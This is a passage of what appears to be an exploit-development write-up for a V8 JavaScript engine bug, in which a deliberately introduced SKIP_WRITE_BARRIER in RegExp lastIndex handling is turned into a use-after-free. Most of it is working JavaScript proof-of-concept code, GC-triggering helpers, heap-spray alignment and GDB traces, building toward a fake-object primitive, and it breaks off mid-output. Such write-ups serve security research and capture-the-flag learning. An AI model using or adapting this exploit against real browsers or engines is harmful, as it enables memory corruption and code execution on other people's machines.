+ // FunctionTemplate::New(isolate, PrintErr));
+ // global_template->Set(isolate, "write",
+ // FunctionTemplate::New(isolate, WriteStdout));
+ // if (!i::v8_flags.fuzzing) {
+ // global_template->Set(isolate, "writeFile",
+ // FunctionTemplate::New(isolate, WriteFile));
+ // }
+ // global_template->Set(isolate, "read",
+ // FunctionTemplate::New(isolate, ReadFile));
+ // global_template->Set(isolate, "readbuffer",
+ // FunctionTemplate::New(isolate, ReadBuffer));
+ // global_template->Set(isolate, "readline",
+ // FunctionTemplate::New(isolate, ReadLine));
+ // global_template->Set(isolate, "load",
+ // FunctionTemplate::New(isolate, ExecuteFile));
global_template->Set(isolate, "setTimeout",
FunctionTemplate::New(isolate, SetTimeout));
// Some Emscripten-generated code tries to call 'quit', which in turn would
diff --git a/src/regexp/regexp-utils.cc b/src/regexp/regexp-utils.cc
index 22abd702805..a9b1101f9a7 100644
--- a/src/regexp/regexp-utils.cc
+++ b/src/regexp/regexp-utils.cc
@@ -50,7 +50,7 @@ MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,
isolate->factory()->NewNumberFromInt64(value);
if (HasInitialRegExpMap(isolate, *recv)) {
JSRegExp::cast(*recv)->set_last_index(*value_as_object,
- UPDATE_WRITE_BARRIER);
+ SKIP_WRITE_BARRIER);
return recv;
} else {
return Object::SetProperty(
Vulnerability Analysis
Looking into the patched function, we could see that when updating the lastIndex
property
on a RegExp
object, there is no update on write barrier.
A write barrier, essentially, is an indicator used by the garbage collector (GC) to
perform remarking on the whole heap1. Looking into the source code,
we could infer that the UPDATE_WRITE_BARRIER
forces the GC to do remarking, while SKIP_WRITE_BARRIER
does not.
UPDATE_WRITE_BARRIER
exists because there is a type of garbage collection, called minor GC,
which only do marking on some part of the heap. With UPDATE_WRITE_BARRIER
, the
GC could tell that an object X
is reference by other object Y
that lives on
the other part of the heap, which minor GC does not act on. As a result, this object
X
would not be free and this prevent UAF.
// UNSAFE_SKIP_WRITE_BARRIER skips the write barrier.
// SKIP_WRITE_BARRIER skips the write barrier and asserts that this is safe in
// the MemoryOptimizer
// UPDATE_WRITE_BARRIER is doing the full barrier, marking and generational.
enum WriteBarrierMode {
SKIP_WRITE_BARRIER,
UNSAFE_SKIP_WRITE_BARRIER,
UPDATE_EPHEMERON_KEY_WRITE_BARRIER,
UPDATE_WRITE_BARRIER
};
Using SKIP_WRITE_BARRIER
makes sense when the lastIndex
property is a small immediate integer (SMI).
However, if we trace back to the previous lines of code, we could see that value
goes through NewNumberFromInt64
. Another thing to take note is that our RegExp
object
property should not be modified such that HasInitialRegExpMap
returns true.
MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,
Handle<JSReceiver> recv,
uint64_t value) {
Handle<Object> value_as_object =
isolate->factory()->NewNumberFromInt64(value);
if (HasInitialRegExpMap(isolate, *recv)) {
JSRegExp::cast(*recv)->set_last_index(*value_as_object,
SKIP_WRITE_BARRIER);
return recv;
} else {
return Object::SetProperty(
isolate, recv, isolate->factory()->lastIndex_string(), value_as_object,
StoreOrigin::kMaybeKeyed, Just(kThrowOnError));
}
}
Looking into NewNumberFromInt64
function, we could see that it could return
either an SMI or a HeapNumber
object. The latter case occurs when:
value
is bigger than the maximum value of SMIvalue
is lower than the minimum value of SMI
// v8/src/heap/factory-base-inl.h
template <typename Impl>
template <AllocationType allocation>
Handle<Object> FactoryBase<Impl>::NewNumberFromInt64(int64_t value) {
if (value <= std::numeric_limits<int32_t>::max() &&
value >= std::numeric_limits<int32_t>::min() &&
Smi::IsValid(static_cast<int32_t>(value))) {
return handle(Smi::FromInt(static_cast<int32_t>(value)), isolate());
}
return NewHeapNumber<allocation>(static_cast<double>(value));
}
Since SMI is 31-bit in size and covers positive and negative integers, the range is2:
$$ [-2^{30}, 2^{30}-1] $$
$$ [-1073741824, 1073741823] $$
Now, let's take a look at the vulnerability details
and try to re-create the PoC.
Essentially, with the SKIP_WRITE_BARRIER
, we
could cause the GC to free the HeapNumber
object created by NewNumberFromInt64
which makes the lastIndex
property to be a dangling pointer (UAF).
Exploit Development
Getting UAF
TL;DR
- create a
RegExp
object (re
) - force major gc such that
re
goes intoOldSpace
- this makes
re.lastIndex
heap number to be allocated atNewSpace
- force minor gc
- garbage collection results in the previous
HeapNumber
object to be freed due toSKIP_WRITE_BARRIER
causing the GC to not be aware thatre
object has reference to thisHeapNumber
- UAF profit
Explanation
First, let's try to grep which part of code calls into SetLastIndex
function.
$ grep -nrP 'SetLastIndex\(' *
src/runtime/runtime-regexp.cc:1425: RETURN_ON_EXCEPTION(isolate, RegExpUtils::SetLastIndex(isolate, regexp, 0),
src/runtime/runtime-regexp.cc:1725: isolate, RegExpUtils::SetLastIndex(isolate, splitter, string_index));
src/runtime/runtime-regexp.cc:1849: RegExpUtils::SetLastIndex(isolate, recv, 0));
src/regexp/regexp-utils.cc:46:MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,
src/regexp/regexp-utils.cc:205: return SetLastIndex(isolate, regexp, new_last_index);
src/regexp/regexp-utils.h:27: static V8_WARN_UNUSED_RESULT MaybeHandle<Object> SetLastIndex(
Looking through the result, there are 4 places where it is invoked:
-
src/runtime/runtime-regexp.cc:1425
: this is part ofRegExpReplace(Isolate, Handle, Handle, Handle)
function which is supposed to be called when executingRegExp.prototype[Symbol.replace]
When testing via GDB, I could not seem to get into this function. Moreover, there is a comment mentioning this is a legacy implementation. Perhaps, that is the reason why this line of code is unreachable.
-
src/runtime/runtime-regexp.cc:1725
: this is part ofRuntime_RegExpSplit
function which is called when executingRegExp.prototype[ @@split ]
This could potentially work but require much effort since the value is controlled by the length of the string to be splitted.
-
src/runtime/runtime-regexp.cc:1849
: this is part ofRuntime_RegExpReplaceRT
which is called when executingRegExp.prototype[ @@replace ]
This does not work as we do not control the third arguments.
-
src/regexp/regexp-utils.cc:205
: this is part ofRegExpUtils::SetAdvancedStringIndex
functionA little spoiler, this is the one we are aiming for. Let's see and explore why this is the perfect match.
Looking into RegExpUtils::SetAdvancedStringIndex
, we could see that:
- old
lastIndex
property is retrieved - this old
lastIndex
is added with1
and saved tonew_last_index
- this
new_last_index
is then passed toSetLastIndex
This is perfect as we have complete control over the old lastIndex
field.
uint64_t RegExpUtils::AdvanceStringIndex(Handle<String> string, uint64_t index,
bool unicode) {
DCHECK_LE(static_cast<double>(index), kMaxSafeInteger);
const uint64_t string_length = static_cast<uint64_t>(string->length());
if (unicode && index < string_length) {
const uint16_t first = string->Get(static_cast<uint32_t>(index));
if (first >= 0xD800 && first <= 0xDBFF && index + 1 < string_length) {
DCHECK_LT(index, std::numeric_limits<uint64_t>::max());
const uint16_t second = string->Get(static_cast<uint32_t>(index + 1));
if (second >= 0xDC00 && second <= 0xDFFF) {
return index + 2;
}
}
}
return index + 1;
}
MaybeHandle<Object> RegExpUtils::SetAdvancedStringIndex(
Isolate* isolate, Handle<JSReceiver> regexp, Handle<String> string,
bool unicode) {
Handle<Object> last_index_obj;
ASSIGN_RETURN_ON_EXCEPTION(
isolate, last_index_obj,
Object::GetProperty(isolate, regexp,
isolate->factory()->lastIndex_string()),
Object);
ASSIGN_RETURN_ON_EXCEPTION(isolate, last_index_obj,
Object::ToLength(isolate, last_index_obj), Object);
const uint64_t last_index = PositiveNumberToUint64(*last_index_obj);
const uint64_t new_last_index =
AdvanceStringIndex(string, last_index, unicode);
return SetLastIndex(isolate, regexp, new_last_index);
}
Next, let's see which function calls into RegExpUtils::SetAdvancedStringIndex
.
$ grep -nrP 'SetAdvancedStringIndex\(' *
src/runtime/runtime-regexp.cc:1874: RETURN_FAILURE_ON_EXCEPTION(isolate, RegExpUtils::SetAdvancedStringIndex(
src/regexp/regexp-utils.cc:189:MaybeHandle<Object> RegExpUtils::SetAdvancedStringIndex(
src/regexp/regexp-utils.h:49: static V8_WARN_UNUSED_RESULT MaybeHandle<Object> SetAdvancedStringIndex(
There is only 1 place and it is called inside Runtime_RegExpReplaceRT
function.
// Slow path for:
// ES#sec-regexp.prototype-@@replace
// RegExp.prototype [ @@replace ] ( string, replaceValue )
RUNTIME_FUNCTION(Runtime_RegExpReplaceRT) {
HandleScope scope(isolate);
DCHECK_EQ(3, args.length());
Handle<JSReceiver> recv = args.at<JSReceiver>(0);
Handle<String> string = args.at<String>(1);
Handle<Object> replace_obj = args.at(2);
Factory* factory = isolate->factory();
// ...
// Fast-path for unmodified JSRegExps (and non-functional replace).
if (RegExpUtils::IsUnmodifiedRegExp(isolate, recv)) { // [0]
// We should never get here with functional replace because unmodified
// regexp and functional replace should be fully handled in CSA code.
CHECK(!functional_replace);
Handle<Object> result;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, result,
RegExpReplace(isolate, Handle<JSRegExp>::cast(recv), string, replace));
DCHECK(RegExpUtils::IsUnmodifiedRegExp(isolate, recv));
return *result;
}
const uint32_t length = string->length();
Handle<Object> global_obj;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, global_obj,
JSReceiver::GetProperty(isolate, recv, factory->global_string()));
const bool global = Object::BooleanValue(*global_obj, isolate); // [1]
bool unicode = false;
if (global) { // [2]
Handle<Object> unicode_obj;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, unicode_obj,
JSReceiver::GetProperty(isolate, recv, factory->unicode_string()));
unicode = Object::BooleanValue(*unicode_obj, isolate);
RETURN_FAILURE_ON_EXCEPTION(isolate,
RegExpUtils::SetLastIndex(isolate, recv, 0)); // [3]
}
base::SmallVector<Handle<Object>, kStaticVectorSlots> results;
while (true) {
Handle<Object> result;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, result, RegExpUtils::RegExpExec(isolate, recv, string, // [4]
factory->undefined_value()));
if (IsNull(*result, isolate)) break;
results.emplace_back(result);
if (!global) break; // [5]
Handle<Object> match_obj;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, match_obj,
Object::GetElement(isolate, result, 0));
Handle<String> match;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, match,
Object::ToString(isolate, match_obj));
if (match->length() == 0) { // [6]
RETURN_FAILURE_ON_EXCEPTION(isolate, RegExpUtils::SetAdvancedStringIndex( // [7]
isolate, recv, string, unicode));
}
}
// ...
}
Based on trial-and-error, the fast-path is never taken [0] but we can ensure it
to be never taken by modifying our RegExp
object property.
In order to get into SetAdvancedStringIndex
[7], we need to first pass the
global
variable check [5]. This variable is retrieved from the RegExp
object
[1], which is basically the flags modifier when instantiating the object. Before
SetAdvancedStringIndex
is called, the prototype exec
is first called [4],
and then it checks if the result is not NULL
. Since global
is set to true
,
the loop does not break and it tries to get the element at index 0
then tries
to convert the element to string. Finally, it checks if the matched string length
is 0
[6], and if it is, SetAdvancedStringIndex
is called. One thing to note
is that since global
is set to true
the lastIndex
property is always reset
to 0
[3]. The workaround for this will be discussed shortly.
Now, let's take a look at the following code.
// RegExp(pattern, flags)
var re = new RegExp("", "g");
re.lastIndex = 1337;
re[Symbol.replace]("", "l33t");
console.log(re.lastIndex); // output: 0
Since we want the return value of RegExpExec
to be [""]
, we could try to use
""
as the pattern or pass in empty string for the first argument. We could run
it inside GDB and place a breakpoint on SetAdvancedStringIndex
to see if it is
called. Unfortunately, our breakpoint is not hit. If we execute re.exec("")
,
we could see that the output is actually null
instead of [""]
. Since this is
JavaScript, we could modify the behaviour re.exec
by simply overwriting it
with our own supplied function.
var re = new RegExp("leet", "g");
re.lastIndex = 1337;
re.exec = function () {
return [""] // to get into `SetAdvancedStringIndex`
}
re[Symbol.replace]("", "l33t"); // infinite loop
console.log(re.lastIndex);
Notice that the program just hangs as we are stuck inside an infinite loop.
This is because if (IsNull(*result, isolate)) break;
is never executed as
now RegExpExec
returns [""]
. To circumvent this, we could just overwrite
this function again to return null
.
var re = new RegExp("leet", "g");
re.lastIndex = 1337;
re.exec = function () {
re.exec = function () { return null; }; // to avoid infinite loop
return [""]; // to get into `SetAdvancedStringIndex`
}
re[Symbol.replace]("", "l33t");
console.log(re.lastIndex); // 0
If we run it inside GDB and set a breakpoint on SetAdvancedStringIndex
, we
could see that the breakpoint is indeed hit but our final re.lastIndex
is
still 0
. Recall that it is reset to 0
on every Runtime_RegExpReplaceRT
call [3].
However, notice that RegExpExec
is called after [3]. This means that we could
re-assign re.lastIndex
inside our modified re.exec
function and when SetAdvancedStringIndex
is called, re.lastIndex
is not 0
anymore.
var re = new RegExp("leet", "g");
re.lastIndex = 1337;
re.exec = function () {
re.lastIndex = 1337;
re.exec = function () { return null; }; // to avoid infinite loop
return [""]; // to get into `SetAdvancedStringIndex`
}
re[Symbol.replace]("", "l33t");
console.log(re.lastIndex); // 1338 == 1337+1
Finally, the final re.lastIndex
is 1
more than 1337
which is to be expected
but recall that to skip the write barrier, we need to pass HasInitialRegExpMap
check which is only possible if we do not mess with our object property. One
way to achieve this is to do delete re.exec;
such that subsequent call to re.exec
goes into RegExp.prototype.exec
. However, doing so results in re.lastIndex
no longer 1338
but 0
. Apparently, the original RegExp.prototype.exec
messes with lastIndex
property as well. Luckily, since this is JavaScript, we could
overwrite RegExp.prototype.exec
as well.
var re = new RegExp("leet", "g");
var exec_bak = RegExp.prototype.exec; // backup original exec()
RegExp.prototype.exec = function () { return null; };
re.exec = function () {
re.lastIndex = 1337;
delete re.exec; // to pass `HasInitialRegExpMap` check and falls back to RegExp.prototype.exec to avoid infinite loop
return [""]; // to get into `SetAdvancedStringIndex`
}
re[Symbol.replace]("", "l33t");
console.log(re.lastIndex); // 1338 == 1337+1
RegExp.prototype.exec = exec_bak; // restore original exec()
Now, if we set re.lastIndex
to be 1073741824
such that it is stored as HeapNumber
object,
we can try to simulate some garbage collection to observe how re
and re.lastIndex
changes.
// pwn.js
var re = new RegExp("leet", "g");
var exec_bak = RegExp.prototype.exec; // backup original exec()
RegExp.prototype.exec = function () { return null; };
var n = 1073741824;
re.exec = function () {
re.lastIndex = n;
delete re.exec; // to pass `HasInitialRegExpMap` check and falls back to RegExp.prototype.exec to avoid infinite loop
return [""]; // to get into `SetAdvancedStringIndex`
}
re[Symbol.replace]("", "l33t");
console.assert(re.lastIndex === n + 1); // 1073741825 === 1073741824+1
RegExp.prototype.exec = exec_bak; // restore original exec()
eval("%DebugPrint(re)");
eval("%DebugPrint(re.lastIndex)");
eval("%SystemBreak()");
gc({type:'minor'}); // minor gc / scavenge (enabled by --expose-gc) [1]
eval("%DebugPrint(re)");
eval("%DebugPrint(re.lastIndex)");
eval("%SystemBreak()");
gc({type:'minor'}); // minor gc / scavenge (enabled by --expose-gc) [2]
eval("%DebugPrint(re)");
eval("%DebugPrint(re.lastIndex)");
eval("%SystemBreak()");
To execute the script, we need to enable some command line flags.
./d8 --allow-natives-syntax --expose-gc --trace-gc pwn.js
Initially, re
lives in NewSpace
. After re[Symbol.replace]
, the HeapNumber
is allocated at NewSpace
as well.
gef> run
0x100e00048375 <JSRegExp <String[4]: #leet>>
0x100e00049045 <HeapNumber 1073741825.0>
gef> vmmap
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x0000100600000000 0x0000100e00000000 0x0000000800000000 0x0000000000000000 ---
0x0000100e00000000 0x0000100e00010000 0x0000000000010000 0x0000000000000000 r-- <- $r14
0x0000100e00010000 0x0000100e00020000 0x0000000000010000 0x0000000000000000 ---
0x0000100e00020000 0x0000100e00040000 0x0000000000020000 0x0000000000000000 r--
0x0000100e00040000 0x0000100e00145000 0x0000000000105000 0x0000000000000000 rw- # `re` and `HeapNumber` live here
0x0000100e00145000 0x0000100e00180000 0x000000000003b000 0x0000000000000000 ---
0x0000100e00180000 0x0000100e001c0000 0x0000000000040000 0x0000000000000000 rw- <- $r8
0x0000100e001c0000 0x0000100e00300000 0x0000000000140000 0x0000000000000000 ---
0x0000100e00300000 0x0000100e00314000 0x0000000000014000 0x0000000000000000 r--
0x0000100e00314000 0x0000100e00340000 0x000000000002c000 0x0000000000000000 ---
0x0000100e00340000 0x0000111600000000 0x00000107ffcc0000 0x0000000000000000 ---
0x0000354600000000 0x0000354600040000 0x0000000000040000 0x0000000000000000 rw-
0x0000354600040000 0x0000354610000000 0x000000000ffc0000 0x0000000000000000 ---
Next, when we do minor GC [1], both re
and HeapNumber
moves to
Intermediary/To-Space
of NewSpace
.
gef> c
[7022:0x555556d7b000] 139382 ms: Scavenge 0.1 (1.5) -> 0.1 (1.5) MB, 16.24 / 0.00 ms (average mu = 1.000, current mu = 1.000) testing;
0x100e001c755d <JSRegExp <String[4]: #leet>>
0x100e001c75d5 <HeapNumber 1073741825.0>
gef> vmmap
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x0000100600000000 0x0000100e00000000 0x0000000800000000 0x0000000000000000 ---
0x0000100e00000000 0x0000100e00010000 0x0000000000010000 0x0000000000000000 r-- <- $r14
0x0000100e00010000 0x0000100e00020000 0x0000000000010000 0x0000000000000000 ---
0x0000100e00020000 0x0000100e00040000 0x0000000000020000 0x0000000000000000 r--
0x0000100e00040000 0x0000100e00140000 0x0000000000100000 0x0000000000000000 ---
0x0000100e00140000 0x0000100e00145000 0x0000000000005000 0x0000000000000000 rw-
0x0000100e00145000 0x0000100e00180000 0x000000000003b000 0x0000000000000000 ---
0x0000100e00180000 0x0000100e002c0000 0x0000000000140000 0x0000000000000000 rw- <- $r8 # `re` and `HeapNumber` live here
0x0000100e002c0000 0x0000100e00300000 0x0000000000040000 0x0000000000000000 ---
0x0000100e00300000 0x0000100e00314000 0x0000000000014000 0x0000000000000000 r--
0x0000100e00314000 0x0000100e00340000 0x000000000002c000 0x0000000000000000 ---
0x0000100e00340000 0x0000111600000000 0x00000107ffcc0000 0x0000000000000000 ---
0x0000354600000000 0x0000354600040000 0x0000000000040000 0x0000000000000000 rw-
0x0000354600040000 0x0000354610000000 0x000000000ffc0000 0x0000000000000000 ---
If we do minor GC once more [2], both re
and HeapNumber
would move to the OldSpace
.
gef> c
[7022:0x555556d7b000] 264864 ms: Scavenge 0.1 (1.5) -> 0.1 (1.5) MB, 18.34 / 0.00 ms (average mu = 1.000, current mu = 1.000) testing;
0x100e0019f02d <JSRegExp <String[4]: #leet>>
0x100e0019f0a5 <HeapNumber 1073741825.0>
gef> vmmap
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x0000100600000000 0x0000100e00000000 0x0000000800000000 0x0000000000000000 ---
0x0000100e00000000 0x0000100e00010000 0x0000000000010000 0x0000000000000000 r-- <- $r14
0x0000100e00010000 0x0000100e00020000 0x0000000000010000 0x0000000000000000 ---
0x0000100e00020000 0x0000100e00040000 0x0000000000020000 0x0000000000000000 r--
0x0000100e00040000 0x0000100e00145000 0x0000000000105000 0x0000000000000000 rw-
0x0000100e00145000 0x0000100e00180000 0x000000000003b000 0x0000000000000000 ---
0x0000100e00180000 0x0000100e001c0000 0x0000000000040000 0x0000000000000000 rw- <- $r8 # `re` and `HeapNumber` live here
0x0000100e001c0000 0x0000100e002c0000 0x0000000000100000 0x0000000000000000 --- # (notice that the previous NewSpace have been splitted)
0x0000100e002c0000 0x0000100e00300000 0x0000000000040000 0x0000000000000000 ---
0x0000100e00300000 0x0000100e00314000 0x0000000000014000 0x0000000000000000 r--
0x0000100e00314000 0x0000100e00340000 0x000000000002c000 0x0000000000000000 ---
0x0000100e00340000 0x0000111600000000 0x00000107ffcc0000 0x0000000000000000 ---
0x0000354600000000 0x0000354600040000 0x0000000000040000 0x0000000000000000 rw-
0x0000354600040000 0x0000354610000000 0x000000000ffc0000 0x0000000000000000 ---
You may wonder why does the first minor GC consider HeapNumber
as a live object
even though re.lastIndex
is set with SKIP_WRITE_BARRIER
. This is because minor
GC perform marking starting from re
(since it is in NewSpace
) and it could
reach HeapNumber
via re.lastIndex
. The same applies when doing major GC
instead of minor GC initially.
Things would be different if re
lives in OldSpace
, while HeapNumber
lives
in NewSpace
. When we do a minor GC, re
is ignored as minor GC only covers NewSpace
.
Furthermore, because of the SKIP_WRITE_BARRIER
, the GC does not aware that
there is a reference to the HeapNumber
from the OldSpace
. This causes the
HeapNumber
object to be garbage collected while re.lastIndex
still points
to the freed memory, which is basically a UAF on re.lastIndex
.
If UPDATE_WRITE_BARRIER
is used instead, HeapNumber
would eventually
transition to OldSpace
since the GC is aware of the reference to HeapNumber
.
// pwn.js
var re = new RegExp("leet", "g");
var exec_bak = RegExp.prototype.exec; // backup original exec()
var n = 1073741824;
re.exec = function () {
re.lastIndex = n;
delete re.exec; // to pass `HasInitialRegExpMap` check and falls back to RegExp.prototype.exec to avoid infinite loop
return [""]; // to get into `SetAdvancedStringIndex`
}
eval("%DebugPrint(re)");
gc(); // major gc / mark and sweep: forces `re` to move into `OldSpace`
re[Symbol.replace]("", "l33t");
console.assert(re.lastIndex === n + 1); // 1073741825 === 1073741824+1
RegExp.prototype.exec = exec_bak; // restore original exec()
eval("%DebugPrint(re)");
eval("%DebugPrint(re.lastIndex)");
gc({type:'minor'}) // causes `HeapNumber` to be garbage collected [1]
var spray = [0.0, 1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0, 10.0]
eval("%DebugPrint(re)");
eval("%DebugPrint(spray)");
If we only run the code above, we notice that re
and HeapNumber
is not so
far apart, but they are actually on two different space. However, spray
is
not allocated at the same space as our freed HeapNumber
.
0x228b0004837d <JSRegExp <String[4]: #leet>>
[16454:0x55d1bbdce000] 2 ms: Mark-Compact 0.1 (1.5) -> 0.1 (2.5) MB, 0.47 / 0.00 ms (average mu = 0.645, current mu = 0.645) testing; GC in old space requested
0x228b0019a705 <JSRegExp <String[4]: #leet>>
0x228b001c2155 <HeapNumber 1073741825.0>
[16454:0x55d1bbdce000] 2 ms: Scavenge 0.1 (2.5) -> 0.1 (2.5) MB, 0.03 / 0.00 ms (average mu = 0.645, current mu = 0.645) testing;
0x228b0019a705 <JSRegExp <String[4]: #leet>>
0x228b000421dd <JSArray[11]>
When the minor GC [1] happens, the space occupied by HeapNumber
is considered
as the Nursery/From-Space
(call this A
) space and live object is evacuated from this space
to Intermediate/To-Space
(call this B
). After the minor GC is done, the previous Nursery/From-Space
(A
)
has now become Intermediate/To-Space
and the previous Intermediate/To-Space
(B
)
has now become Nursery/From-Space
. Now, when new objects are allocated, they
would be placed on B
, since B
is now the Nursery/From-Space
. Next, if we do
another minor GC, new object would now be allocated at A
instead of B
.
var re = new RegExp("leet", "g");
var exec_bak = RegExp.prototype.exec; // backup original exec()
RegExp.prototype.exec = function () { return null; };
var n = 1073741824;
re.exec = function () {
re.lastIndex = n;
delete re.exec; // to pass `HasInitialRegExpMap` check and falls back to RegExp.prototype.exec to avoid infinite loop
return [""]; // to get into `SetAdvancedStringIndex`
}
eval("%DebugPrint(re)");
gc(); // major gc / mark and sweep: forces `re` to move into `OldSpace`
re[Symbol.replace]("", "l33t");
console.assert(re.lastIndex === n + 1); // 1073741825 === 1073741824+1
RegExp.prototype.exec = exec_bak; // restore original exec()
eval("%DebugPrint(re)");
eval("%DebugPrint(re.lastIndex)");
gc({type:'minor'}) // causes `HeapNumber` to be garbage collected
gc({type:'minor'}) // switches `Nursery` and `Intermediate` such that new object is allocated near our old `HeapNumber`
var spray = [0.0, 1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0, 10.0]
eval("%DebugPrint(re)");
eval("%DebugPrint(spray)");
When we run the above code, as expected, spray
is now allocated near our old
HeapNumber
address. Now, our re.lastIndex
actually points to the elements of
spray
, and we essentially have UAF and full control over the memory pointed
by re.lastIndex
.
gef> run
0x199c000483ad <JSRegExp <String[4]: #leet>>
[16796:0x555556d7b000] 14 ms: Mark-Compact 0.1 (1.5) -> 0.1 (2.5) MB, 7.07 / 0.00 ms (average mu = 0.440, current mu = 0.440) testing; GC in old space requested
0x199c0019a71d <JSRegExp <String[4]: #leet>>
0x199c001c2155 <HeapNumber 1073741825.0>
[16796:0x555556d7b000] 25 ms: Scavenge 0.1 (2.5) -> 0.1 (2.5) MB, 5.75 / 0.00 ms (average mu = 0.440, current mu = 0.440) testing;
[16796:0x555556d7b000] 30 ms: Scavenge 0.1 (2.5) -> 0.1 (2.5) MB, 5.73 / 0.00 ms (average mu = 0.440, current mu = 0.440) testing;
0x199c0019a71d <JSRegExp <String[4]: #leet>>
0x199c001c21a9 <JSArray[11]>
gef> tele 0x199c001c21a8 2
0x199c001c21a8|+0x0000|+000: 0x000006cd0018ece1
0x199c001c21b0|+0x0008|+001: 0x00000016001c2149
gef> tele 0x199c001c2148 10
0x199c001c2148|+0x0000|+000: 0x0000001600000851
0x199c001c2150|+0x0008|+001: 0x3fb999999999999a
0x199c001c2158|+0x0010|+002: 0x3ff199999999999a
0x199c001c2160|+0x0018|+003: 0x4000cccccccccccd
0x199c001c2168|+0x0020|+004: 0x4008cccccccccccd
0x199c001c2170|+0x0028|+005: 0x4010666666666666
0x199c001c2178|+0x0030|+006: 0x4014666666666666
0x199c001c2180|+0x0038|+007: 0x4018666666666666
0x199c001c2188|+0x0040|+008: 0x401c666666666666
0x199c001c2190|+0x0048|+009: 0x4020333333333333
note
We could also immediately perform major gc after the first minor gc. Further down this blog, I used major gc instead as in the attempt to gain code execution via wasm, garbage collection is unwantedly triggered when we try to import the wasm bytecode. This messes up our whole overlapping setup
Now, instead of relying on gc()
which is only accessible with --expose-gc
command line flags, let's try to implement our own function which would trigger
major/minor GC.
// yoinked from https://issues.chromium.org/action/issues/40059133/attachments/53188081?download=false
// and adjusted accordingly
roots = new Array(0x20000);
index = 0;
function major_gc() {
new ArrayBuffer(0x40000000);
}
function minor_gc() {
for (var i = 0; i < 8; i++) {
roots[index++] = new ArrayBuffer(0x200000);
}
roots[index++] = new ArrayBuffer(8);
}
When we try to call major_gc()
, we could see that --trace-gc
emit similar
message to the one by gc()
. The same goes to minor_gc()
. However, our
implementation of minor_gc()
is not perfect as calling this function n
times,
occassionally, may not trigger exact n
scavenging, there could be more or less
scavenging. Thus, adjustment is necessary on different development environment.
note
It is better to try out your exploit without --trace-gc
and without the
debugging code like eval("%DebugPrint(re)")
as these consume memory space
and may mess up our calculation
fakeobj primitive
To create a fake object primitive, we would need to align our re.lastIndex
value
with one of our spray
array elements.
If &spray.elements
is located at slightly higher memory address, we could
allocate some memory before re.lastIndex
heap number is allocated like so.
var n = 1073741824;
re.exec = function () {
new Array(0x0d); // padding to make re.lastIndex overlaps and perfectly align with our spray array elements
re.lastIndex = n;
delete re.exec; // to pass `HasInitialRegExpMap` check and falls back to RegExp.prototype.exec to avoid infinite loop
return [""]; // to get into `SetAdvancedStringIndex`
}
After trial-and-error, below is my result in which re.lastIndex
overlaps
with spray[1]
.
$ ./d8 --allow-natives-syntax --shell --trace-gc ./idk.js
0x281a00048489 <JSRegExp <String[4]: #leet>>
[22072:0x56501579c000] 3 ms: Mark-Compact (reduce) 0.6 (2.0) -> 0.6 (2.0) MB, 1.00 / 0.00 ms (average mu = 0.518, current mu = 0.518) external memory pressure; GC in old space requested
0x281a0019a7dd <JSRegExp <String[4]: #leet>>
0x281a00282389 <HeapNumber 1073741825.0>
[22072:0x56501579c000] 3 ms: Scavenge 0.6 (2.0) -> 0.6 (3.0) MB, 0.10 / 0.00 ms (average mu = 0.518, current mu = 0.518) external memory pressure;
[22072:0x56501579c000] 3 ms: Scavenge 0.6 (3.0) -> 0.6 (3.0) MB, 0.05 / 0.00 ms (average mu = 0.518, current mu = 0.518) external memory pressure;
[22072:0x56501579c000] 3 ms: Scavenge 0.6 (3.0) -> 0.6 (3.0) MB, 0.05 / 0.00 ms (average mu = 0.518, current mu = 0.518) external memory pressure;
[22072:0x56501579c000] 3 ms: Scavenge 0.6 (3.0) -> 0.6 (3.0) MB, 0.05 / 0.00 ms (average mu = 0.518, current mu = 0.518) external memory pressure;
0x281a0019a7dd <JSRegExp <String[4]: #leet>>
0x281a00282421 <JSArray[20]>
V8 version 12.2.0 (candidate)
d8>
gef> tele 0x281a00282420
0x281a00282420|+0x0000|+000: 0x000006cd0018ece1
0x281a00282428|+0x0008|+001: 0x0000002800282379 ('y#('?)
gef> tele 0x281a00282378
0x281a00282378|+0x0000|+000: 0x0000002800000851
0x281a00282380|+0x0008|+001: 0x3fb999999999999a
0x281a00282388|+0x0010|+002: 0x3ff199999999999a
0x281a00282390|+0x0018|+003: 0x4000cccccccccccd
0x281a00282398|+0x0020|+004: 0x4008cccccccccccd
0x281a002823a0|+0x0028|+005: 0x4010666666666666
0x281a002823a8|+0x0030|+006: 0x4014666666666666
0x281a002823b0|+0x0038|+007: 0x4018666666666666
0x281a002823b8|+0x0040|+008: 0x401c666666666666
0x281a002823c0|+0x0048|+009: 0x4020333333333333
gef> p/f 0x3ff199999999999a
$1 = 1.1000000000000001
Now, if spray[1]
is equal to 0x000006cd0018ece1
in memory and spray[2]
is equal to 0x0000002800282379
, when we do %DebugPrint(re.lastIndex)
,
it would show us that re.lastIndex
is a double array of length 20
.
$ ./d8 --allow-natives-syntax --shell --trace-gc ./idk.js
0x279c000484bd <JSRegExp <String[4]: #leet>>
[24846:0x5587f7ad2000] 3 ms: Mark-Compact (reduce) 0.6 (2.0) -> 0.6 (2.0) MB, 1.44 / 0.00 ms (average mu = 0.488, current mu = 0.488) external memory pressure; GC in old space requested
0x279c0019a811 <JSRegExp <String[4]: #leet>>
0x279c00282389 <HeapNumber 1073741825.0>
[24846:0x5587f7ad2000] 3 ms: Scavenge 0.6 (2.0) -> 0.6 (3.0) MB, 0.08 / 0.00 ms (average mu = 0.488, current mu = 0.488) external memory pressure;
